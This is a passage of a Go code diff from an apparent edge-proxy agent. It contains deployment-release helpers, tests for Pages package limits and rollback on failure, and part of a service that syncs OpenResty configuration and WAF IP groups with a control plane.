input, err := os.Open(sourcePath) //nolint:gosec // sourcePath is under managed PagesDir walk root
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(targetPath), pagesDirPerm); err != nil {
|
||||
_ = input.Close()
|
||||
return err
|
||||
}
|
||||
output, err := os.OpenFile(targetPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, pagesFilePerm) //nolint:gosec // targetPath is under managed PagesDir walk root
|
||||
if err != nil {
|
||||
_ = input.Close()
|
||||
return err
|
||||
}
|
||||
_, copyErr := io.Copy(output, input)
|
||||
outputCloseErr := output.Close()
|
||||
inputCloseErr := input.Close()
|
||||
return errors.Join(copyErr, outputCloseErr, inputCloseErr)
|
||||
}
|
||||
|
||||
func markerMatches(dir string, project pagesProjectRef) bool {
|
||||
data, err := os.ReadFile(filepath.Join(dir, ".openflare-pages.json")) //nolint:gosec // dir is managed PagesDir
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
var marker pagesDeploymentMarker
|
||||
if err := json.Unmarshal(data, &marker); err != nil {
|
||||
return false
|
||||
}
|
||||
if marker.ProjectID != 0 && marker.ProjectID != project.ProjectID {
|
||||
return false
|
||||
}
|
||||
return marker.Checksum == project.Checksum
|
||||
}
|
||||
|
||||
func writePagesMarker(dir string, project pagesProjectRef) error {
|
||||
data, err := json.Marshal(pagesDeploymentMarker(project))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(filepath.Join(dir, ".openflare-pages.json"), data, pagesManifestFilePerm)
|
||||
}
|
||||
|
||||
func pagesProjectCurrentDir(baseDir string, projectID uint) string {
|
||||
return filepath.Join(baseDir, "projects", strconv.FormatUint(uint64(projectID), 10), "current")
|
||||
}
|
||||
|
||||
func pagesProjectReleaseDir(baseDir string, projectID uint, checksum string) string {
|
||||
return filepath.Join(baseDir, "projects", strconv.FormatUint(uint64(projectID), 10), "releases", checksum)
|
||||
}
|
||||
@@ -0,0 +1,382 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package sync
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
"Wavelet/openflare/plugins/agent/state"
|
||||
)
|
||||
|
||||
func TestEnsurePagesProjectRejectsMetadataBeyondAgentCapsBeforeDownload(t *testing.T) {
|
||||
packageBytes := testPagesPackage(t, map[string]string{"index.html": "x"})
|
||||
base := protocol.PagesProjectLatestHashResponse{
|
||||
ProjectID: 1,
|
||||
DeploymentID: 1,
|
||||
Hash: testBytesChecksum(packageBytes),
|
||||
PackageSize: int64(len(packageBytes)),
|
||||
FileCount: 1,
|
||||
TotalSize: 1,
|
||||
}
|
||||
tests := []struct {
|
||||
name string
|
||||
mutate func(*protocol.PagesProjectLatestHashResponse)
|
||||
}{
|
||||
{
|
||||
name: "package size",
|
||||
mutate: func(metadata *protocol.PagesProjectLatestHashResponse) {
|
||||
metadata.PackageSize = agentPagesMaxPackageBytes + 1
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "file count",
|
||||
mutate: func(metadata *protocol.PagesProjectLatestHashResponse) {
|
||||
metadata.FileCount = agentPagesMaxFiles + 1
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "total size",
|
||||
mutate: func(metadata *protocol.PagesProjectLatestHashResponse) {
|
||||
metadata.TotalSize = agentPagesMaxTotalBytes + 1
|
||||
},
|
||||
},
|
||||
}
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
metadata := base
|
||||
test.mutate(&metadata)
|
||||
client := &fakeClient{
|
||||
pagesPackages: map[uint][]byte{1: packageBytes},
|
||||
pagesMetadata: map[uint]protocol.PagesProjectLatestHashResponse{1: metadata},
|
||||
}
|
||||
service := New(client, &fakeManager{}, nil)
|
||||
service.SetPagesDir(t.TempDir())
|
||||
err := service.ensurePagesProject(context.Background(), &state.Snapshot{}, 1)
|
||||
if err == nil || !strings.Contains(err.Error(), "agent limit") {
|
||||
t.Fatalf("ensurePagesProject(%s metadata) error = %v, want agent limit error", test.name, err)
|
||||
}
|
||||
if client.pagesPackageDownloads != 0 {
|
||||
t.Errorf("ensurePagesProject(%s metadata) downloads = %d, want 0", test.name, client.pagesPackageDownloads)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsurePagesProjectRetriesSameHashDifferentDeployment(t *testing.T) {
|
||||
packageBytes := testPagesPackage(t, map[string]string{"index.html": "same"})
|
||||
hash := testBytesChecksum(packageBytes)
|
||||
client := &racingLatestClient{
|
||||
pkgA: packageBytes,
|
||||
pkgB: packageBytes,
|
||||
hashA: hash,
|
||||
hashB: hash,
|
||||
}
|
||||
service := New(client, &fakeManager{}, nil)
|
||||
pagesDir := t.TempDir()
|
||||
service.SetPagesDir(pagesDir)
|
||||
snapshot := &state.Snapshot{PagesDeployments: []state.PagesDeployment{{ProjectID: 42}}}
|
||||
|
||||
if err := service.ensurePagesProject(context.Background(), snapshot, 42); err != nil {
|
||||
t.Fatalf("ensurePagesProject(same hash deployment race) error = %v", err)
|
||||
}
|
||||
if client.downloadCalls != 2 {
|
||||
t.Errorf("ensurePagesProject(same hash deployment race) downloads = %d, want 2", client.downloadCalls)
|
||||
}
|
||||
if snapshot.PagesDeployments[0].DeploymentID != 2 || snapshot.PagesDeployments[0].Hash != hash {
|
||||
t.Errorf("snapshot Pages deployment = %+v, want deployment 2/hash %s", snapshot.PagesDeployments[0], hash)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsurePagesProjectExtractionFailureCleansTempAndPreservesCurrent(t *testing.T) {
|
||||
projectID := uint(9)
|
||||
oldPackage := testPagesPackage(t, map[string]string{"index.html": "old"})
|
||||
oldHash := testBytesChecksum(oldPackage)
|
||||
newPackage := testPagesPackage(t, map[string]string{"index.html": "new"})
|
||||
newHash := testBytesChecksum(newPackage)
|
||||
pagesDir := t.TempDir()
|
||||
oldRelease := pagesProjectReleaseDir(pagesDir, projectID, oldHash)
|
||||
if err := extractTestPagesPackage(t, oldPackage, oldRelease, pagesProjectRef{
|
||||
ProjectID: projectID,
|
||||
DeploymentID: 1,
|
||||
Checksum: oldHash,
|
||||
}); err != nil {
|
||||
t.Fatalf("extractTestPagesPackage(old) error = %v", err)
|
||||
}
|
||||
if err := switchPagesProjectCurrentDir(pagesDir, projectID, oldRelease); err != nil {
|
||||
t.Fatalf("switchPagesProjectCurrentDir(old) error = %v", err)
|
||||
}
|
||||
|
||||
client := &fakeClient{
|
||||
pagesPackages: map[uint][]byte{projectID: newPackage},
|
||||
pagesMetadata: map[uint]protocol.PagesProjectLatestHashResponse{
|
||||
projectID: {
|
||||
ProjectID: projectID,
|
||||
DeploymentID: 2,
|
||||
Hash: newHash,
|
||||
PackageSize: int64(len(newPackage)),
|
||||
FileCount: 1,
|
||||
TotalSize: 2, // Smaller than the actual three-byte file.
|
||||
},
|
||||
},
|
||||
}
|
||||
service := New(client, &fakeManager{}, nil)
|
||||
service.SetPagesDir(pagesDir)
|
||||
err := service.ensurePagesProject(context.Background(), &state.Snapshot{}, projectID)
|
||||
if err == nil {
|
||||
t.Fatal("ensurePagesProject(metadata-tightened extraction) error = nil, want error")
|
||||
}
|
||||
current, readErr := os.ReadFile(pagesProjectCurrentDir(pagesDir, projectID) + "/index.html")
|
||||
if readErr != nil {
|
||||
t.Fatalf("read old current after failed extraction error = %v", readErr)
|
||||
}
|
||||
if string(current) != "old" {
|
||||
t.Errorf("current content after failed extraction = %q, want %q", current, "old")
|
||||
}
|
||||
entries, readErr := os.ReadDir(filepath.Join(pagesDir, "projects", "9", "releases"))
|
||||
if readErr != nil {
|
||||
t.Fatalf("read releases after failed extraction error = %v", readErr)
|
||||
}
|
||||
if len(entries) != 1 || entries[0].Name() != oldHash {
|
||||
t.Errorf("releases after failed extraction = %v, want only %s", entries, oldHash)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsurePagesProjectAcceptsAllZeroByteFiles(t *testing.T) {
|
||||
packageBytes := testPagesPackage(t, map[string]string{
|
||||
"index.html": "",
|
||||
".gitkeep": "",
|
||||
})
|
||||
client := &fakeClient{pagesPackages: map[uint][]byte{5: packageBytes}}
|
||||
service := New(client, &fakeManager{}, nil)
|
||||
pagesDir := t.TempDir()
|
||||
service.SetPagesDir(pagesDir)
|
||||
|
||||
if err := service.ensurePagesProject(context.Background(), &state.Snapshot{}, 5); err != nil {
|
||||
t.Fatalf("ensurePagesProject(all-zero files) error = %v", err)
|
||||
}
|
||||
for _, name := range []string{"index.html", ".gitkeep"} {
|
||||
info, err := os.Stat(filepath.Join(pagesProjectCurrentDir(pagesDir, 5), name))
|
||||
if err != nil {
|
||||
t.Errorf("stat all-zero file %q error = %v", name, err)
|
||||
continue
|
||||
}
|
||||
if info.Size() != 0 {
|
||||
t.Errorf("all-zero file %q size = %d, want 0", name, info.Size())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSwitchPagesProjectCurrentDirRenameFailureKeepsPreviousCurrent(t *testing.T) {
|
||||
pagesDir := t.TempDir()
|
||||
projectID := uint(21)
|
||||
oldRelease := pagesProjectReleaseDir(pagesDir, projectID, "old")
|
||||
newRelease := pagesProjectReleaseDir(pagesDir, projectID, "new")
|
||||
for path, content := range map[string]string{
|
||||
oldRelease: "old",
|
||||
newRelease: "new",
|
||||
} {
|
||||
if err := os.MkdirAll(path, pagesDirPerm); err != nil {
|
||||
t.Fatalf("mkdir release %q error = %v", path, err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(path, "index.html"), []byte(content), pagesFilePerm); err != nil {
|
||||
t.Fatalf("write release %q error = %v", path, err)
|
||||
}
|
||||
}
|
||||
if err := switchPagesProjectCurrentDir(pagesDir, projectID, oldRelease); err != nil {
|
||||
t.Fatalf("seed previous current error = %v", err)
|
||||
}
|
||||
currentDir := pagesProjectCurrentDir(pagesDir, projectID)
|
||||
renameErr := errors.New("injected current rename failure")
|
||||
err := switchPagesProjectCurrentDirWithRename(
|
||||
pagesDir,
|
||||
projectID,
|
||||
newRelease,
|
||||
func(oldPath string, newPath string) error {
|
||||
if oldPath == currentDir+".tmp" && newPath == currentDir {
|
||||
return renameErr
|
||||
}
|
||||
return os.Rename(oldPath, newPath)
|
||||
},
|
||||
)
|
||||
if !errors.Is(err, renameErr) {
|
||||
t.Fatalf("switchPagesProjectCurrentDirWithRename() error = %v, want injected rename error", err)
|
||||
}
|
||||
current, err := os.ReadFile(filepath.Join(currentDir, "index.html"))
|
||||
if err != nil {
|
||||
t.Fatalf("read previous current after rename failure error = %v", err)
|
||||
}
|
||||
if string(current) != "old" {
|
||||
t.Errorf("current after rename failure = %q, want %q", current, "old")
|
||||
}
|
||||
if _, err := os.Lstat(currentDir + ".tmp"); !os.IsNotExist(err) {
|
||||
t.Errorf("temporary current symlink remains after rename failure: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPromoteSameHashReleaseFailureRestoresPreviousCurrent(t *testing.T) {
|
||||
pagesDir := t.TempDir()
|
||||
projectID := uint(22)
|
||||
hash := "same-hash"
|
||||
project := pagesProjectRef{ProjectID: projectID, DeploymentID: 2, Checksum: hash}
|
||||
releaseDir := pagesProjectReleaseDir(pagesDir, projectID, hash)
|
||||
if err := os.MkdirAll(releaseDir, pagesDirPerm); err != nil {
|
||||
t.Fatalf("mkdir previous same-hash release error = %v", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(releaseDir, "index.html"), []byte("old"), pagesFilePerm); err != nil {
|
||||
t.Fatalf("write previous same-hash release error = %v", err)
|
||||
}
|
||||
if err := writePagesMarker(releaseDir, project); err != nil {
|
||||
t.Fatalf("write previous same-hash marker error = %v", err)
|
||||
}
|
||||
if err := switchPagesProjectCurrentDir(pagesDir, projectID, releaseDir); err != nil {
|
||||
t.Fatalf("seed same-hash current error = %v", err)
|
||||
}
|
||||
stagingDir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(stagingDir, "index.html"), []byte("new"), pagesFilePerm); err != nil {
|
||||
t.Fatalf("write repaired same-hash release error = %v", err)
|
||||
}
|
||||
if err := writePagesMarker(stagingDir, project); err != nil {
|
||||
t.Fatalf("write repaired same-hash marker error = %v", err)
|
||||
}
|
||||
copyErr := errors.New("injected same-hash copy failure")
|
||||
err := promotePagesReleaseWithCopy(
|
||||
stagingDir,
|
||||
releaseDir,
|
||||
project,
|
||||
func(_ string, targetDir string) error {
|
||||
if err := os.MkdirAll(targetDir, pagesDirPerm); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(targetDir, "index.html"), []byte("partial"), pagesFilePerm); err != nil {
|
||||
return err
|
||||
}
|
||||
return copyErr
|
||||
},
|
||||
)
|
||||
if !errors.Is(err, copyErr) {
|
||||
t.Fatalf("promotePagesReleaseWithCopy() error = %v, want injected copy error", err)
|
||||
}
|
||||
for name, path := range map[string]string{
|
||||
"current": filepath.Join(pagesProjectCurrentDir(pagesDir, projectID), "index.html"),
|
||||
"release": filepath.Join(releaseDir, "index.html"),
|
||||
} {
|
||||
content, readErr := os.ReadFile(path)
|
||||
if readErr != nil {
|
||||
t.Fatalf("read restored %s after same-hash repair failure error = %v", name, readErr)
|
||||
}
|
||||
if string(content) != "old" {
|
||||
t.Errorf("restored %s after same-hash repair failure = %q, want %q", name, content, "old")
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(stagingDir); !os.IsNotExist(err) {
|
||||
t.Errorf("same-hash staging remains after successful rollback: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPromotePagesReleaseRepairsDanglingCurrent(t *testing.T) {
|
||||
pagesDir := t.TempDir()
|
||||
projectID := uint(23)
|
||||
releaseDir := pagesProjectReleaseDir(pagesDir, projectID, "new-hash")
|
||||
currentDir := pagesProjectCurrentDir(pagesDir, projectID)
|
||||
requireTestMkdirAll(t, filepath.Dir(currentDir))
|
||||
relTarget, err := filepath.Rel(filepath.Dir(currentDir), releaseDir)
|
||||
if err != nil {
|
||||
t.Fatalf("relative release target error = %v", err)
|
||||
}
|
||||
if err := os.Symlink(relTarget, currentDir); err != nil {
|
||||
t.Skipf("symlink unsupported: %v", err)
|
||||
}
|
||||
|
||||
requireTestMkdirAll(t, filepath.Dir(releaseDir))
|
||||
stagingDir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(stagingDir, "index.html"), []byte("repaired"), pagesFilePerm); err != nil {
|
||||
t.Fatalf("write dangling repair staging error = %v", err)
|
||||
}
|
||||
project := pagesProjectRef{ProjectID: projectID, DeploymentID: 1, Checksum: "new-hash"}
|
||||
if err := writePagesMarker(stagingDir, project); err != nil {
|
||||
t.Fatalf("write dangling repair marker error = %v", err)
|
||||
}
|
||||
|
||||
if err := promotePagesRelease(stagingDir, releaseDir, project); err != nil {
|
||||
t.Fatalf("promotePagesRelease(dangling current) error = %v", err)
|
||||
}
|
||||
content, err := os.ReadFile(filepath.Join(currentDir, "index.html"))
|
||||
if err != nil {
|
||||
t.Fatalf("read repaired dangling current error = %v", err)
|
||||
}
|
||||
if string(content) != "repaired" {
|
||||
t.Errorf("repaired dangling current = %q, want %q", content, "repaired")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSwitchPagesCurrentDirCopiesOverLegacyDirectory(t *testing.T) {
|
||||
pagesDir := t.TempDir()
|
||||
currentDir := filepath.Join(pagesDir, "current")
|
||||
releaseDir := filepath.Join(pagesDir, "releases", "new")
|
||||
requireTestMkdirAll(t, currentDir)
|
||||
requireTestMkdirAll(t, releaseDir)
|
||||
if err := os.WriteFile(filepath.Join(currentDir, "index.html"), []byte("old"), pagesFilePerm); err != nil {
|
||||
t.Fatalf("write legacy current error = %v", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(releaseDir, "index.html"), []byte("new"), pagesFilePerm); err != nil {
|
||||
t.Fatalf("write new release error = %v", err)
|
||||
}
|
||||
|
||||
if err := switchPagesCurrentDir(currentDir, releaseDir, os.Rename); err != nil {
|
||||
t.Fatalf("switchPagesCurrentDir(legacy directory) error = %v", err)
|
||||
}
|
||||
content, err := os.ReadFile(filepath.Join(currentDir, "index.html"))
|
||||
if err != nil {
|
||||
t.Fatalf("read copied legacy current error = %v", err)
|
||||
}
|
||||
if string(content) != "new" {
|
||||
t.Errorf("copied legacy current = %q, want %q", content, "new")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSwitchPagesCurrentDirFallsBackWhenSymlinkUnavailable(t *testing.T) {
|
||||
pagesDir := t.TempDir()
|
||||
currentDir := filepath.Join(pagesDir, "current")
|
||||
releaseDir := filepath.Join(pagesDir, "releases", "new")
|
||||
requireTestMkdirAll(t, releaseDir)
|
||||
if err := os.WriteFile(filepath.Join(releaseDir, "index.html"), []byte("new"), pagesFilePerm); err != nil {
|
||||
t.Fatalf("write fallback release error = %v", err)
|
||||
}
|
||||
symlinkErr := errors.New("injected symlink unavailable")
|
||||
if err := switchPagesCurrentDirWithOps(
|
||||
currentDir,
|
||||
releaseDir,
|
||||
os.Rename,
|
||||
func(string, string) error { return symlinkErr },
|
||||
); err != nil {
|
||||
t.Fatalf("switchPagesCurrentDirWithOps(symlink unavailable) error = %v", err)
|
||||
}
|
||||
info, err := os.Lstat(currentDir)
|
||||
if err != nil {
|
||||
t.Fatalf("lstat copied current error = %v", err)
|
||||
}
|
||||
if !info.IsDir() {
|
||||
t.Errorf("copied current mode = %v, want directory", info.Mode())
|
||||
}
|
||||
content, err := os.ReadFile(filepath.Join(currentDir, "index.html"))
|
||||
if err != nil {
|
||||
t.Fatalf("read fallback current error = %v", err)
|
||||
}
|
||||
if string(content) != "new" {
|
||||
t.Errorf("fallback current = %q, want %q", content, "new")
|
||||
}
|
||||
}
|
||||
|
||||
func requireTestMkdirAll(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
if err := os.MkdirAll(dir, pagesDirPerm); err != nil {
|
||||
t.Fatalf("mkdir %q error = %v", dir, err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,477 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package sync
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log/slog"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
openrestyrender "Wavelet/openflare/share/render/openresty"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/nginx"
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
"Wavelet/openflare/plugins/agent/state"
|
||||
)
|
||||
|
||||
// Apply result constants indicate the outcome reported back to the server.
|
||||
const (
|
||||
ApplyResultSuccess = "success"
|
||||
ApplyResultWarning = "warning"
|
||||
ApplyResultFailed = "failed"
|
||||
)
|
||||
|
||||
// ConfigClient is the interface for communicating with the server control plane.
|
||||
type ConfigClient interface {
|
||||
GetActiveConfig(ctx context.Context) (*protocol.ActiveConfigResponse, error)
|
||||
GetPagesDeploymentHash(ctx context.Context, deploymentID uint) (string, error)
|
||||
DownloadPagesDeploymentPackage(ctx context.Context, deploymentID uint, dst io.Writer, maxBytes int64) (int64, error)
|
||||
GetPagesProjectLatestHash(ctx context.Context, projectID uint) (*protocol.PagesProjectLatestHashResponse, error)
|
||||
DownloadPagesProjectLatestPackage(ctx context.Context, projectID uint, dst io.Writer, maxBytes int64) (int64, error)
|
||||
ReportApplyLog(ctx context.Context, payload protocol.ApplyLogPayload) error
|
||||
SyncWAFIPGroups(ctx context.Context, payload protocol.WAFIPGroupSyncRequest) (*protocol.WAFIPGroupSyncResponse, error)
|
||||
}
|
||||
|
||||
// NginxManager is the interface for managing the local OpenResty instance.
|
||||
type NginxManager interface {
|
||||
Apply(ctx context.Context, mainConfig string, routeConfig string, supportFiles []protocol.SupportFile) nginx.ApplyOutcome
|
||||
EnsureRuntime(ctx context.Context, recreate bool) error
|
||||
EnsureSafeFallbackRuntime(ctx context.Context, reason string) error
|
||||
CurrentChecksum() (string, error)
|
||||
WAFIPGroupChecksums() (map[string]string, error)
|
||||
ReconcileWAFIPGroups(targetIDs []uint, changed []protocol.WAFIPGroup) error
|
||||
UpdateExistingWAFIPGroups(changed []protocol.WAFIPGroup) error
|
||||
EnsureWorkerReadAccess() error
|
||||
}
|
||||
|
||||
// Service orchestrates configuration synchronisation between the server and the local OpenResty instance.
|
||||
type Service struct {
|
||||
client ConfigClient
|
||||
nginxManager NginxManager
|
||||
stateStore *state.Store
|
||||
pagesDir string
|
||||
syncMu sync.Mutex
|
||||
}
|
||||
|
||||
// SetPagesDir sets the local directory used for pages deployment packages.
|
||||
func (s *Service) SetPagesDir(path string) {
|
||||
s.pagesDir = strings.TrimSpace(path)
|
||||
}
|
||||
|
||||
// New creates a new Service with the given client, nginx manager, and state store.
|
||||
func New(client ConfigClient, nginxManager NginxManager, stateStore *state.Store) *Service {
|
||||
return &Service{
|
||||
client: client,
|
||||
nginxManager: nginxManager,
|
||||
stateStore: stateStore,
|
||||
}
|
||||
}
|
||||
|
||||
// SyncOnce performs a single periodic sync against the given active config summary.
|
||||
func (s *Service) SyncOnce(ctx context.Context, target *protocol.ActiveConfigMeta) error {
|
||||
return s.sync(ctx, false, target)
|
||||
}
|
||||
|
||||
// SyncOnStartup performs an initial sync at agent startup, applying config even when checksums already match.
|
||||
func (s *Service) SyncOnStartup(ctx context.Context, target *protocol.ActiveConfigMeta) error {
|
||||
return s.sync(ctx, true, target)
|
||||
}
|
||||
|
||||
func (s *Service) sync(ctx context.Context, startup bool, target *protocol.ActiveConfigMeta) error {
|
||||
s.syncMu.Lock()
|
||||
defer s.syncMu.Unlock()
|
||||
|
||||
mode := syncMode(startup)
|
||||
snapshot, currentChecksum, err := s.loadSyncState()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
normalizeSyncTarget(target)
|
||||
|
||||
if target == nil || target.Version == "" || target.Checksum == "" {
|
||||
return s.syncWithoutTarget(ctx, mode, startup, snapshot, currentChecksum)
|
||||
}
|
||||
if currentChecksum == target.Checksum {
|
||||
return s.syncMatchingChecksum(ctx, mode, startup, snapshot, currentChecksum, target)
|
||||
}
|
||||
return s.syncMismatchedChecksum(ctx, mode, startup, snapshot, currentChecksum, target)
|
||||
}
|
||||
|
||||
// ForceSyncOnce clears any blocked target state then unconditionally fetches and applies the active config.
|
||||
func (s *Service) ForceSyncOnce(ctx context.Context, target *protocol.ActiveConfigMeta) error {
|
||||
s.syncMu.Lock()
|
||||
defer s.syncMu.Unlock()
|
||||
|
||||
snapshot, err := s.stateStore.Load()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if hasBlockedTarget(snapshot) {
|
||||
clearBlockedTarget(snapshot)
|
||||
_ = s.stateStore.Save(snapshot)
|
||||
}
|
||||
currentChecksum, err := s.nginxManager.CurrentChecksum()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
config, err := s.client.GetActiveConfig(ctx)
|
||||
if err != nil {
|
||||
slog.Error("fetch active config failed", "mode", "force", "error", err)
|
||||
return err
|
||||
}
|
||||
return s.applyIfNeeded(ctx, "force", true, snapshot, currentChecksum, target, config)
|
||||
}
|
||||
|
||||
// WAFIPGroupChecksums returns the current per-group checksums held by the nginx manager.
|
||||
func (s *Service) WAFIPGroupChecksums() (map[string]string, error) {
|
||||
if s.nginxManager == nil {
|
||||
return map[string]string{}, nil
|
||||
}
|
||||
return s.nginxManager.WAFIPGroupChecksums()
|
||||
}
|
||||
|
||||
// ApplyWAFIPGroups applies real-time changes only to groups already in the local authoritative snapshot.
|
||||
func (s *Service) ApplyWAFIPGroups(_ context.Context, groups []protocol.WAFIPGroup) error {
|
||||
if len(groups) == 0 || s.nginxManager == nil {
|
||||
return nil
|
||||
}
|
||||
return s.nginxManager.UpdateExistingWAFIPGroups(groups)
|
||||
}
|
||||
|
||||
func (s *Service) applyIfNeeded(ctx context.Context, mode string, startup bool, snapshot *state.Snapshot, currentChecksum string, target *protocol.ActiveConfigMeta, config *protocol.ActiveConfigResponse) error {
|
||||
if currentChecksum == config.Checksum && !startup {
|
||||
return s.handleUpToDateConfig(ctx, mode, snapshot, config)
|
||||
}
|
||||
if target != nil && (target.Version != config.Version || target.Checksum != config.Checksum) {
|
||||
slog.Warn("active config changed between heartbeat and fetch", "heartbeat_version", target.Version, "heartbeat_checksum", target.Checksum, "fetched_version", config.Version, "fetched_checksum", config.Checksum)
|
||||
}
|
||||
if handled, err := s.handleBlockedConfigAfterFetch(ctx, mode, startup, snapshot, currentChecksum, config); handled {
|
||||
return err
|
||||
}
|
||||
if hasBlockedTarget(snapshot) {
|
||||
clearBlockedTarget(snapshot)
|
||||
}
|
||||
if snapshot.CurrentVersion == config.Version && snapshot.CurrentChecksum == config.Checksum && !startup {
|
||||
if err := s.syncPagesDeployments(ctx, snapshot, config); err != nil {
|
||||
return err
|
||||
}
|
||||
slog.Debug("skipping apply because state already records target version/checksum", "version", config.Version, "checksum", config.Checksum)
|
||||
// Successful reconcile must clear sticky LastError so health events can resolve.
|
||||
snapshot.LastError = ""
|
||||
return s.stateStore.Save(snapshot)
|
||||
}
|
||||
return s.applyRenderedConfig(ctx, mode, snapshot, currentChecksum, config)
|
||||
}
|
||||
|
||||
func (s *Service) applyRenderedConfig(ctx context.Context, mode string, snapshot *state.Snapshot, currentChecksum string, config *protocol.ActiveConfigResponse) error {
|
||||
rendered, err := renderActiveConfig(config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := s.syncPagesDeployments(ctx, snapshot, config); err != nil {
|
||||
return err
|
||||
}
|
||||
mainConfigChecksum := checksumString(rendered.mainConfig)
|
||||
routeConfigChecksum := checksumString(rendered.routeConfig)
|
||||
slog.Info("applying new openresty config", "mode", mode, "from_version", snapshot.CurrentVersion, "to_version", config.Version, "old_checksum", currentChecksum, "new_checksum", config.Checksum)
|
||||
alreadySynced := snapshotMatchesTarget(snapshot, config.Version, config.Checksum)
|
||||
outcome, message := normalizeApplyOutcome(s.nginxManager.Apply(ctx, rendered.mainConfig, rendered.routeConfig, rendered.supportFiles))
|
||||
applyResult := updateSnapshotFromApplyOutcome(mode, snapshot, config, outcome, message)
|
||||
|
||||
if err := s.stateStore.Save(snapshot); err != nil {
|
||||
return err
|
||||
}
|
||||
if !shouldReportApplyLog(alreadySynced, applyResult.reportResult) {
|
||||
slog.Debug("skipping duplicate apply log report", "version", config.Version, "checksum", config.Checksum, "result", applyResult.reportResult)
|
||||
if applyResult.reportResult == ApplyResultFailed {
|
||||
return outcomeError(config.Version, applyResult.message)
|
||||
}
|
||||
if err := s.syncReferencedWAFIPGroups(ctx, rendered.supportFiles); err != nil {
|
||||
slog.Error("sync referenced waf ip groups failed", "version", config.Version, "error", err)
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if err := s.client.ReportApplyLog(ctx, protocol.ApplyLogPayload{
|
||||
NodeID: snapshot.NodeID,
|
||||
Version: config.Version,
|
||||
Result: applyResult.reportResult,
|
||||
Message: applyResult.message,
|
||||
Checksum: config.Checksum,
|
||||
MainConfigChecksum: mainConfigChecksum,
|
||||
RouteConfigChecksum: routeConfigChecksum,
|
||||
SupportFileCount: len(rendered.supportFiles),
|
||||
}); err != nil {
|
||||
slog.Error("report apply log failed", "version", config.Version, "result", applyResult.reportResult, "error", err)
|
||||
return err
|
||||
}
|
||||
if applyResult.reportResult == ApplyResultFailed {
|
||||
slog.Warn("failed apply log reported", "version", config.Version)
|
||||
return outcomeError(config.Version, applyResult.message)
|
||||
}
|
||||
if err := s.syncReferencedWAFIPGroups(ctx, rendered.supportFiles); err != nil {
|
||||
slog.Error("sync referenced waf ip groups failed", "version", config.Version, "error", err)
|
||||
return err
|
||||
}
|
||||
slog.Debug("apply log reported", "version", config.Version, "result", applyResult.reportResult)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *Service) syncReferencedWAFIPGroups(ctx context.Context, supportFiles []protocol.SupportFile) error {
|
||||
ids, err := referencedWAFIPGroupIDs(supportFiles)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(ids) == 0 {
|
||||
if s.nginxManager == nil {
|
||||
return nil
|
||||
}
|
||||
return s.nginxManager.ReconcileWAFIPGroups([]uint{}, nil)
|
||||
}
|
||||
checksums, err := s.WAFIPGroupChecksums()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
targetChecksums := make(map[string]string, len(ids))
|
||||
for _, id := range ids {
|
||||
key := strconv.FormatUint(uint64(id), 10)
|
||||
if value := strings.TrimSpace(checksums[key]); value != "" {
|
||||
targetChecksums[key] = value
|
||||
}
|
||||
}
|
||||
response, err := s.client.SyncWAFIPGroups(ctx, protocol.WAFIPGroupSyncRequest{
|
||||
IDs: ids,
|
||||
Checksums: targetChecksums,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if s.nginxManager == nil {
|
||||
return nil
|
||||
}
|
||||
var changed []protocol.WAFIPGroup
|
||||
if response != nil {
|
||||
changed = response.Groups
|
||||
}
|
||||
return s.nginxManager.ReconcileWAFIPGroups(ids, changed)
|
||||
}
|
||||
|
||||
type renderedActiveConfig struct {
|
||||
mainConfig string
|
||||
routeConfig string
|
||||
supportFiles []protocol.SupportFile
|
||||
}
|
||||
|
||||
func renderActiveConfig(config *protocol.ActiveConfigResponse) (*renderedActiveConfig, error) {
|
||||
if config == nil {
|
||||
